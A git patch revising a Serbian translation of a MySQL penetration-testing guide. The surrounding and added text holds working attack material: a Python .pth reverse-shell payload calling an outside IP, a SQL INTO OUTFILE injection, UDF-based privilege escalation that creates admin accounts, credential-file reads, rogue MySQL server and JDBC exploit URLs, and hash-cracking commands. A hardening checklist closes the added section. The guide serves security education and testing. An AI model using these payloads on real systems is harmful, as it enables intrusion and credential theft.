From 08f9b15c68ab2bf29a39d10a43262545e9c31fde Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 04:40:53 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-mysql.md'] to sr --- .../pentesting-mysql.md | 77 +++++++++++++++---- 1 file changed, 64 insertions(+), 13 deletions(-) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 7bd4282f7..8cbcae4ee 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -109,7 +109,7 @@ Možete videti u dokumentaciji značenje svake privilegije: [https://dev.mysql.c ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -#### INTO OUTFILE → Python `.pth` RCE (specifične konfiguracione kuke za sajt) +#### INTO OUTFILE → Python `.pth` RCE (specifične konfiguracione kuke) Zloupotrebom klasične `INTO OUTFILE` primitive moguće je dobiti *izvršenje proizvoljnog koda* na metama koje kasnije pokreću **Python** skripte. @@ -117,11 +117,11 @@ Zloupotrebom klasične `INTO OUTFILE` primitive moguće je dobiti *izvršenje pr 2. `.pth` datoteka može sadržati *jednu liniju* koja počinje sa `import ` praćenom proizvoljnim Python kodom koji će se izvršavati svaki put kada se interpreter pokrene. 3. Kada se interpreter implicitno izvršava putem CGI skripte (na primer `/cgi-bin/ml-draw.py` sa shebang `#!/bin/python`), payload se izvršava sa istim privilegijama kao proces web-servera (FortiWeb ga je pokrenuo kao **root** → potpuno pre-auth RCE). -Primer `.pth` payload-a (jedna linija, bez razmaka koji mogu biti uključeni u konačni SQL payload, tako da hex/`UNHEX()` ili spajanje stringova može biti potrebno): +Primer `.pth` payload-a (jedna linija, bez razmaka koji se mogu uključiti u konačni SQL payload, tako da hex/`UNHEX()` ili spajanje stringova može biti potrebno): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -Primer kreiranja fajla putem **UNION** upita (prostorni karakteri zamenjeni sa `/**/` kako bi se zaobišao `sscanf("%128s")` filter za prostore i zadržala ukupna dužina ≤128 bajtova): +Primer kreiranja fajla kroz **UNION** upit (prostorni karakteri zamenjeni sa `/**/` kako bi se zaobišao `sscanf("%128s")` filter za prostore i zadržala ukupna dužina ≤128 bajtova): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` @@ -129,7 +129,7 @@ Važne ograničenja i zaobilaženja: * `INTO OUTFILE` **ne može prepisati** postojeće datoteke; izaberite novo ime datoteke. * Putanja do datoteke se rešava **u odnosu na MySQL-ov CWD**, tako da prefiksiranje sa `../../` pomaže da se skraći putanja i zaobiđu ograničenja apsolutne putanje. -* Ako je unos napadača izvučen sa `%128s` (ili slično) svaki razmak će skratiti payload; koristite MySQL sekvence komentara `/**/` ili `/*!*/` da zamenite razmake. +* Ako je ulaz napadača izvučen sa `%128s` (ili slično), svaki razmak će skratiti payload; koristite MySQL komentare `/**/` ili `/*!*/` da zamenite razmake. * MySQL korisnik koji izvršava upit treba da ima `FILE` privilegiju, ali u mnogim uređajima (npr. FortiWeb) usluga se pokreće kao **root**, što daje pristup za pisanje gotovo svuda. Nakon što se izbaci `.pth`, jednostavno zatražite bilo koji CGI koji obrađuje python interpreter da biste dobili izvršenje koda: @@ -148,7 +148,7 @@ uid=0(root) gid=0(root) groups=0(root) ## MySQL proizvoljno čitanje datoteka od strane klijenta -Zapravo, kada pokušate da **učitate podatke lokalno u tabelu** **sadržaj datoteke** MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Tada, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\ +Zapravo, kada pokušate da **učitate podatke lokalno u tabelu** **sadržaj datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Tada, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\ Molimo vas da obratite pažnju da je ovo ponašanje korišćenjem: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -161,7 +161,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**U ovom radu možete videti potpun opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**U ovom radu možete videti potpunu opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Ovde možete pronaći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -208,11 +208,11 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Eskalacija privilegija putem biblioteke -Ako **mysql server radi kao root** (ili kao neki drugi korisnik sa višim privilegijama), možete ga naterati da izvršava komande. Za to, potrebno je koristiti **funkcije definisane od strane korisnika**. A da biste kreirali funkciju definisanu od strane korisnika, biće vam potrebna **biblioteka** za operativni sistem na kojem radi mysql. +Ako **mysql server radi kao root** (ili kao neki drugi korisnik sa višim privilegijama), možete ga naterati da izvršava komande. Za to, potrebno je da koristite **funkcije definisane od strane korisnika**. A da biste kreirali funkciju definisanu od strane korisnika, biće vam potrebna **biblioteka** za operativni sistem na kojem radi mysql. Zloćudna biblioteka koja se koristi može se pronaći unutar sqlmap-a i unutar metasploit-a tako što ćete uraditi **`locate "*lib_mysqludf_sys*"`**. **`.so`** datoteke su **linux** biblioteke, a **`.dll`** su one za **Windows**, izaberite onu koja vam je potrebna. -Ako **nemate** te biblioteke, možete ili **potražiti** ih, ili preuzeti ovaj [**linux C kod**](https://www.exploit-db.com/exploits/1518) i **kompilirati ga unutar linux ranjive mašine**: +Ako **nemate** te biblioteke, možete ili **potražiti** ih, ili preuzeti ovaj [**linux C kod**](https://www.exploit-db.com/exploits/1518) i **kompajlirati ga unutar linux ranjive mašine**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc @@ -251,7 +251,7 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -### Izvlačenje MySQL kredencijala iz fajlova +### Izvlačenje MySQL akreditiva iz fajlova Unutar _/etc/mysql/debian.cnf_ možete pronaći **lozinku u običnom tekstu** korisnika **debian-sys-maint** ```bash @@ -259,7 +259,7 @@ cat /etc/mysql/debian.cnf ``` Možete **koristiti ove akreditive za prijavu u mysql bazu podataka**. -Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve heširane lozinke MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._ +Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hešove MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._ Možete ih izvući tako što ćete: ```bash @@ -295,7 +295,7 @@ Konfiguracione datoteke - update.log - common.log -## Podrazumevana MySQL baza podataka/tabele +## Podrazumevana MySQL Baza Podataka/Tabele {{#tabs}} {{#tab name="information_schema"}} @@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -## References -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +## 2023-2025 Istaknuto (novo) + +### JDBC `propertiesTransform` deserializacija (CVE-2023-21971) +Od Connector/J <= 8.0.32, napadač koji može uticati na **JDBC URL** (na primer, u softveru treće strane koji traži string za konekciju) može zatražiti učitavanje proizvoljnih klasa na *klijentskoj* strani putem `propertiesTransform` parametra. Ako je gadget prisutan na putanji klase i može se učitati, to rezultira **daljinskim izvršavanjem koda u kontekstu JDBC klijenta** (pre-autentifikacija, jer nisu potrebne validne kredencijale). Minimalni PoC izgleda ovako: +```java +jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil +``` +Pokretanje `Evil.class` može biti jednostavno kao postavljanje na class-path ranjive aplikacije ili dozvoljavanje zlonamernom MySQL serveru da pošalje zlonamerni serijalizovani objekat. Problem je rešen u Connector/J 8.0.33 – nadogradite drajver ili eksplicitno postavite `propertiesTransform` na listu dozvoljenih. +(Pogledajte Snyk izveštaj za detalje) + +### Napadi zlonamernih / lažnih MySQL servera protiv JDBC klijenata +Nekoliko alata otvorenog koda implementira *delimični* MySQL protokol kako bi napali JDBC klijente koji se povezuju ka spolja: + +* **mysql-fake-server** (Java, podržava eksploate čitanja datoteka i deserializacije) +* **rogue_mysql_server** (Python, slične mogućnosti) + +Tipični putevi napada: + +1. Aplikacija žrtva učitava `mysql-connector-j` sa `allowLoadLocalInfile=true` ili `autoDeserialize=true`. +2. Napadač kontroliše DNS / unos hosta tako da se ime hosta baze podataka rešava na mašinu pod njihovom kontrolom. +3. Zlonamerni server odgovara sa kreiranim paketima koji aktiviraju ili `LOCAL INFILE` proizvoljno čitanje datoteka ili Java deserializaciju → RCE. + +Primer jedne linije za pokretanje lažnog servera (Java): +```bash +java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server +``` +Zatim usmerite aplikaciju žrtve na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` i pročitajte `/etc/passwd` kodiranjem imena datoteke kao base64 u polju *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). + +### Razbijanje `caching_sha2_password` hešova +MySQL ≥ 8.0 čuva hešove lozinki kao **`$mysql-sha2$`** (SHA-256). I Hashcat (mod **21100**) i John-the-Ripper (`--format=mysql-sha2`) podržavaju offline razbijanje od 2023. Dumpujte kolonu `authentication_string` i direktno je unesite: +```bash +# extract hashes +echo "$mysql-sha2$AABBCC…" > hashes.txt +# Hashcat +hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist +# John the Ripper +john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist +``` +### Lista za jačanje bezbednosti (2025) +• Postavite **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`** da biste onemogućili većinu operacija čitanja/pisanja fajlova. +• Uklonite **`FILE`** privilegiju sa aplikacionih naloga. +• Na Connector/J postavite `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (prazno). +• Onemogućite neiskorišćene autentifikacione dodatke i **zahtevajte TLS** (`require_secure_transport = ON`). +• Pratite `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` i iznenadne `SET GLOBAL` izjave. + +--- + +## Reference +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) +- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) + +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}}